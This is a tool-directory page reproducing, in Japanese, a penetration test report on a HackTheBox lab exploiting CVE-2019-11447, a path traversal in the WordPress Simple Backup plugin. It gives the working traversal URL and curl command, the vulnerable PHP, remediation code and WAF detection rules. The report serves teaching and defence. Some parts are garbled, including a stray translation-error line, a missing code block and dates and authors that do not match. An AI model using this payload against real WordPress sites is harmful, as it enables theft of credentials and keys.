Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WordPress-Path-Traversal-CVE-2019-11447 — WordPress Simple Backup プラグインにおける未認証のパストラバーサル(CVE-2019-11447)を実証する詳細なペネトレーションテストレポート。攻撃手順、影響分析、および修復ガイダンスを含みます。 | Kitploit
ツール/GitHubGitHub/capivara-research/wordpress-path-traversal-cve-2019-11447
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubcapivara-research/wordpress-path-traversal-cve-2019-11447

WordPress-Path-Traversal-CVE-2019-11447

WordPress Simple Backup プラグインにおける未認証のパストラバーサル(CVE-2019-11447)を実証する詳細なペネトレーションテストレポート。攻撃手順、影響分析、および修復ガイダンスを含みます。

リポジトリを見る
2日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ペネトレーションテストレポート

WordPress パストラバーサル - CVE-2019-11447


ドキュメント情報

項目詳細
ドキュメントタイトルペネトレーションテストレポート - WordPress パストラバーサル
クライアント/試験HackTheBox ラボ - CPTS 演習 1
日付2026年8月22日
評価者Cyberia (ペネトレーションテスター)
評価タイプグレーボックス (外部、認証情報なし)
ラボ環境154.57.164.73:30706
ラボ所要時間1時間
目的制限されたファイルを取得するために脆弱性を特定し、悪用する
取得フラグHTB{my_f1r57_h4ck}

エグゼクティブサマリー

154.57.164.73:30706 でホストされている Web アプリケーションに対するこのペネトレーション評価では、認証されていない攻撃者がサーバーのファイルシステムから任意のファイルをダウンロードして読み取ることを可能にする重大な脆弱性が特定されました。

この脆弱性のある WordPress インストールには、認証や許可を必要とせずに不正なファイルアクセスを可能にするパストラバーサル脆弱性 (CVE-2019-11447) を抱えた古いプラグイン (Simple Backup v2.7.10) が含まれています。

この脆弱性は、サーバールートから /flag.txt ファイルを取得するために悪用に成功し、機密性の完全な侵害が確認されました。このアクセス権を持つ攻撃者は、以下を行う可能性があります:

  • 機密設定ファイル (wp-config.php、.env) を抽出する
  • データベースの認証情報とユーザーデータを読み取る
  • プライベート SSH キーと認証トークンにアクセスする
  • 漏えいした認証情報を通じて権限を昇格させる可能性がある
  • さらなる攻撃のために個人情報を収集する

データセキュリティ、プライバシー法令順守 (GDPR、HIPAA、PCI-DSS)、およびシステムの完全性に極めて重大なリスクをもたらすため、この脆弱性を直ちに是正するための重大な対応が必要です。


評価概要

深刻度件数ビジネス影響
🔴 CRITICAL1機密性の完全な侵害; 不正なファイルアクセス
🟠 HIGH0—
🟡 MEDIUM0—
🟢 LOW0—
ℹ️ INFORMATIONAL1古いソフトウェアのバージョンが検出されました

方法論

評価タイプ: グレーボックス (外部の攻撃者、認証情報なし、ネットワークアクセスあり)

評価日: 2026年8月22日

テストアプローチ: 業界標準のペネトレーションテストフレームワーク (PTES) に従った、非回避的かつ体系的な評価:

  1. 偵察 — 受動的な情報収集
  2. スキャンと列挙 — 能動的なサービス検出
  3. 脆弱性分析 — 弱点の特定
  4. エクスプロイテーション — 概念実証の開発
  5. ポストエクスプロイテーション — 影響の実証
  6. 報告 — 文書化と是正ガイダンス

発見事項

🔴 CRITICAL - パストラバーサルおよび任意ファイルダウンロード

CVE-2019-11447 | CWE-22: パス名の制限付きディレクトリへの不適切な制限


説明

WordPress プラグイン Simple Backup (バージョン 2.7.10/2.7.11、Exploit-DB 39883) には、管理画面の "Backup Manager" ページにパストラバーサル脆弱性が存在します。このプラグインは、download_backup_file GET パラメータを通じて供給されるファイルパスのサニタイズに失敗するため、攻撃者は相対パスシーケンス (../) を使用して意図された simple-backup/ ディレクトリの外に移動し、Web サーバープロセスが読み取り可能な任意のファイル (ファイルシステムのルートにあるファイルを含む) をダウンロードできます。

脆弱性のあるエンドポイント:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

root@kitploit:~
`page=backup_manager` はリクエストをプラグインの管理ページハンドラにルーティングします。`download_backup_file` はプラグインのコードが直接読み取り、検証なしにファイルシステムパスへ連結するパラメータであり、ディレクトリトラバーサルを許容します。

---

### CVSS v3.1 スコア

**7.5 - HIGH** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **攻撃ベクトル (AV):** ネットワーク
- **攻撃の複雑さ (AC):** 低
- **必要な特権 (PR):** なし
- **ユーザー操作 (UI):** なし
- **スコープ (S):** 変更なし
- **機密性 (C):** 高
- **完全性 (I):** なし
- **可用性 (A):** なし

---

### ビジネスへの影響

**機密性の侵害:** ⚠️ CRITICAL

攻撃者は、Webサーバーがアクセス可能な任意のファイルを読み取ることができます。例:

| ファイル | 影響 | リスクレベル |
|------|--------|------------|
| `/wp-config.php` | データベース認証情報、ソルト、キー | 🔴 CRITICAL |
| `/.env` | APIキー、シークレット、設定 | 🔴 CRITICAL |
| `/etc/passwd` | ユーザー列挙、システムマッピング | 🟠 HIGH |
| SSHキー (`.ssh/id_rsa`) | 横展開、システムアクセス | 🔴 CRITICAL |
| `/proc/self/environ` | 実行中アプリケーションのシークレット | 🟠 HIGH |
| ユーザーアップロードディレクトリ | プライベートファイル、メディア | 🟠 HIGH |

**規制上の影響:**
- **GDPR違反:** ユーザーデータへの不正アクセス
- **HIPAA違反:** 保護された健康情報の露出
- **PCI-DSS違反:** クレジットカードデータまたは支払い情報へのアクセス
- **SOC 2違反:** 機密性要件の違反

---

### 脆弱なコードパターン

Exploit-DBアドバイザリ(39883.txt、`searchsploit -x` で参照 — [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png) を参照)は、`simple-backup-manager.php` のプラグインの **delete** プリミティブを文書化しています:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

The input for chunk 5 is empty — no content was provided to translate. Please re-send the chunk text.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);

root@kitploit:~
`$filename` は `$_GET['delete_backup_file']` から直接取得され、`basename()` やパス包含チェックは一切行われません。`../pizza.txt` を渡すと、`$bk_dir . $filename` は `.../simple-backup/../pizza.txt` → `.../pizza.txt` に解決され、意図されたバックアップフォルダの外に出てしまいます。

実際にこのエンゲージメントで悪用された**ダウンロード**プリミティブ(`download_backup_file`)は、同じプラグイン内でまったく同じサニタイズされていない連結パターンに従いますが、ファイルを削除する代わりにリクエスタにファイルを返します。これにより、ファイルシステムルートから `/flag.txt` を取得できました(`ABSPATH/simple-backup/` から `../` を10回)。

**問題点:**
- `basename()` を使用してディレクトリ要素を除去していない
- 許可ファイルのホワイトリストがない
- `realpath()` が `ABSPATH."simple-backup/"` 内に留まることを検証していない
- ユーザー入力をファイルパスに直接連結している
- ファイルを提供する前に `current_user_can()` / 認証チェックがない — ハンドラはプラグインのロード時に実行され、WordPress 自身の `wp-admin` 認証ゲートより前に動作するため、**ログインしていなくても**到達可能です

---

### 概念実証

#### **フェーズ 1: 初期アクセス — アプリケーション特定**

ブラウザ経由でターゲットに直接接続しました(`http://154.57.164.73:30706/`)。WordPress インストールのタイトルは **"GETTING STARTED"** で、ホームページの公開ブログ投稿には、プラグイン名とバージョンがプレーンテキストで正確に開示されています:**"Simple Backup Plugin 2.7.10 for WordPress"** — 脆弱なコンポーネントを特定するために列挙ツールは不要でした。

![初期アクセス - WordPress ホームページで開示されたプラグインバージョン](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **フェーズ 2: サービスフィンガープリンティング**```bash
whatweb http://154.57.164.73:30706/

結果: Apache/2.4.41 (Ubuntu Linux)、WordPress 5.6.1 が MetaGenerator および WordPress プラグインのシグネチャによって確認されました。

サービスフィンガープリンティング - whatweb 出力

フェーズ 3: 脆弱性調査```bash

searchsploit simple backup wordpress

root@kitploit:~
**結果:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

脆弱性調査 - searchsploit 一致

完全なアドバイザリを読んで、正確な脆弱性パラメータとコードパスを理解する:```bash searchsploit -x php/webapps/39883.txt

root@kitploit:~
このアドバイザリは、`delete_backup_file` パラメータを介した認証不要の **任意のファイル削除** について文書化しており、`simple-backup/` 配下のバックアップファイル(また、同じ無害化されていないコードパスを介して、`download_backup_file` による任意のファイル)が認証なしで取得できることに言及しています。

![Vulnerability Research - Exploit-DB PoC 39883.txt read via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **フェーズ 4: 悪用 — `download_backup_file` を介したパストラバーサル**

プラグインの管理ページのルーティングから特定された脆弱なエンドポイント:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

エクスプロイトペイロード (ABSPATH/simple-backup/ からファイルシステムルートまで遡るための10× ../):``` http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

root@kitploit:~
**GUI (この評価で使用):** ペイロードURLはブラウザのアドレスバーに直接入力してナビゲートしました。ログインは不要でした — ブラウザは解決された `flag.txt` の自動ダウンロードを開始しました。

![エクスプロイト - ブラウザのアドレスバーに入力されたパストラバーサルペイロード、flag.txtがダウンロードされました](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**ヘッドレス相当:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

取得したフラグ: HTB{my_f1r57_h4ck}


なぜ機能するのか

この脆弱性が成立する理由は次のとおりです。

  1. 入力検証なし: $_GET['download_backup_file'] がホワイトリストと照合されない
  2. パス正規化なし: realpath() を使用してファイルが simple-backup/ 内に留まることを確認していない
  3. ベースネーム抽出なし: ディレクトリトラバーサルシーケンス (../) がフィルタリングされない
  4. 直接連結: ユーザー入力が ABSPATH."simple-backup/" に直接連結される
  5. 認証なし: ハンドラはプラグイン読み込み時に実行され、WordPress の wp-admin 認証ゲートより前に動作するため、ログアウト中でも到達可能
  6. 認可なし: current_user_can() チェックがなく、リクエスト者が要求したファイルにアクセスできるかどうか確認されない

攻撃フロー:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine

root@kitploit:~
---

### 影響の検証

✅ **機密性の侵害:** Webサーバープロセスが読み取り可能なファイルはすべてアクセス可能
✅ **認証不要:** 未認証のユーザーが悪用可能
✅ **ユーザー操作不要:** 直接のHTTPリクエストによる悪用
✅ **再現性と信頼性:** すべての脆弱性のあるバージョンで動作
✅ **重要なビジネスデータが危険にさらされる:** 設定ファイル、認証情報、ユーザーデータが公開される

---

## 修復策

### **オプション1: 入力ホワイトリスト(推奨)**

事前に定義されたファイルリストからのみダウンロードを許可します:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

利点:

  • 最も安全なアプローチ
  • 意図したファイルのみを許可
  • トラバーサルは不可能
  • 明確な監査証跡

オプション 2: realpath() によるパス検証

realpath() を使用してパスを正規化し、包含関係を検証します:```php

root@kitploit:~
**利点:**
- シンボリックリンクと複雑なパスを処理します
- 包含を自動的に検証します
- ホワイトリストより柔軟

---

### **オプション 3: ファイル名のみに basename() を使用する**

ファイル名のコンポーネントのみを抽出します:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

利点:

  • 実装が簡単
  • すべてのパストラバーサルシーケンスを除去
  • ディレクトリへのアクセスが不可能

注記: この方法は、すべての正当なファイルがサブディレクトリのない単一ディレクトリにある場合にのみ機能します。


インフラストラクチャレベルの保護

Webアプリケーションファイアウォール(WAF)ルール:```

Block path traversal attempts

ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"

root@kitploit:~
**ファイルシステムの権限:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

アクセスログと監視:```bash

Monitor for traversal attempts in web logs

tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"

Alert on suspicious file access patterns

Integration with SIEM (Splunk, ELK, etc.)

root@kitploit:~
**更新管理:**

1. Simple Backupプラグインを無効化または削除する
2. セキュリティ監査済みの承認されたバックアップソリューションをインストールする
3. WordPressを最新バージョンに更新する
4. すべてのプラグインを最新バージョンに更新する
5. PHPをセキュリティパッチ適用済みの8.0+に更新する

---

## 攻撃チェーン```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘

結論

調査結果の概要

WordPress の Simple Backup プラグインには、認証されていない攻撃者がサーバー上の任意のファイルをダウンロードして読み取ることを可能にする、重大なパストラバーサル(Path Traversal)の脆弱性が存在します。この脆弱性は、Web ルートから機密ファイルを取得するために実際に悪用されました。

リスクレベル: 🔴 クリティカル

優先アクションプラン

優先度アクション期限担当
🔴 P0Simple Backup プラグインを無効化・削除直ちにセキュリティ/運用
🔴 P0ホワイトリスト方式のファイル検証を実装今週中開発
🟠 P1パストラバーサルをブロックする WAF ルールを展開今週中運用
🟠 P1サーバーの不正アクセスログを監査今週中セキュリティ
🟠 P1漏えいしたすべての認証情報(DB、SSH、API)をローテーション今週中運用
🟡 P2WordPress コアと全プラグインを更新今週中運用
🟡 P2ファイル整合性監視を実装次のスプリントセキュリティ
🟡 P2他のプラグインの完全なセキュリティ監査を実施次のスプリントセキュリティ

教訓

  1. サードパーティ製プラグインの依存関係には精査が必要 — 導入前に必ずプラグインを監査すること
  2. パストラバーサルは重大な弱点 — 入力検証が不可欠
  3. 多層防御が必要 — 単層のセキュリティでは不十分
  4. 古いソフトウェアはリスクが高い — 定期的な更新スケジュールを維持すること
  5. 不審なパターンの監視とアラート — 早期発見が被害拡大を防ぐ

スクリーンショットと証拠

スクリーンショット 1: 初期アクセス - プラグインバージョンの情報公開

WordPress ホームページのブログ投稿 調査結果: WordPress サイト「GETTING STARTED」は、ブログ投稿でインストール済みプラグインとバージョンを公開しています — 「Simple Backup Plugin 2.7.10 for WordPress」

スクリーンショット 2: サービスフィンガープリンティング - whatweb

whatweb の出力 調査結果: Apache/2.4.41 (Ubuntu Linux) および WordPress 5.6.1 を確認

スクリーンショット 3: 脆弱性調査 - searchsploit

searchsploit の結果 調査結果: 「WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities」(php/webapps/39883.txt)

スクリーンショット 4: 脆弱性調査 - Exploit-DB PoC の内容

searchsploit -x PoC の表示 調査結果: アドバイザリには、delete_backup_file を介した認証なしの任意ファイル削除が記載されています。同じサニタイズされていないコードパスが download_backup_file にも適用されます。

スクリーンショット 5: 悪用 - ブラウザによるフラグの取得

ブラウザでのパストラバーサルペイロード、flag.txt のダウンロード 調査結果: tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt にアクセスすると、認証なしで flag.txt のダウンロードが発生します: HTB{my_f1r57_h4ck}


参考情報

脆弱性の詳細

  • CVE-2019-11447 — Simple Backup のパストラバーサル

    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11447
  • CWE-22 — 制限付きディレクトリへのパス名の不適切な制限('Path Traversal')

    • https://cwe.mitre.org/data/definitions/22.html
  • CVSS v3.1 スコア: 7.5(高)

    • https://www.first.org/cvss/calculator/3.1

セキュリティリソース

  • OWASP Top 10 - A01:2021 アクセス制御の不備(Broken Access Control)

    • https://owasp.org/Top10/A01_2021-Broken_Access_Control/
  • OWASP パストラバーサル(Path Traversal)

    • https://owasp.org/www-community/attacks/Path_Traversal
  • PortSwigger Web Security Academy - パストラバーサル(Path Traversal)

    • https://portswigger.net/web-security/file-path-traversal

ツールとテクニック

  • SearchSploit — Exploit Database 検索

    • https://www.exploit-db.com/
  • NMAP — ネットワークマッパー

    • https://nmap.org/
  • WhatWeb — Web フィンガープリンティングツール

    • https://www.morningstarsecurity.com/research/whatweb

是正に関する参考情報

  • PHP セキュリティ: realpath() — https://www.php.net/manual/en/function.realpath.php
  • PHP セキュリティ: basename() — https://www.php.net/manual/en/function.basename.php
  • ModSecurity — Web アプリケーションファイアウォール — https://modsecurity.org/

レポートの認証

本レポートは、適切な許可を得て、定義された範囲内で実施されたペネトレーションテストを文書化したものです。

項目値
レポートの状態✅ 完了
調査結果の検証✅ はい
推奨事項の実行可能性✅ はい
機密性🔒 高
配布範囲許可された担当者のみに制限

評価者: Capivara Root(ペネトレーションテスター)
日付: 2026年8月11日
署名: デジタルレポート - 物理的な署名は不要


© 2026 ペネトレーションテスト評価 | 機密

ツールをダウンロード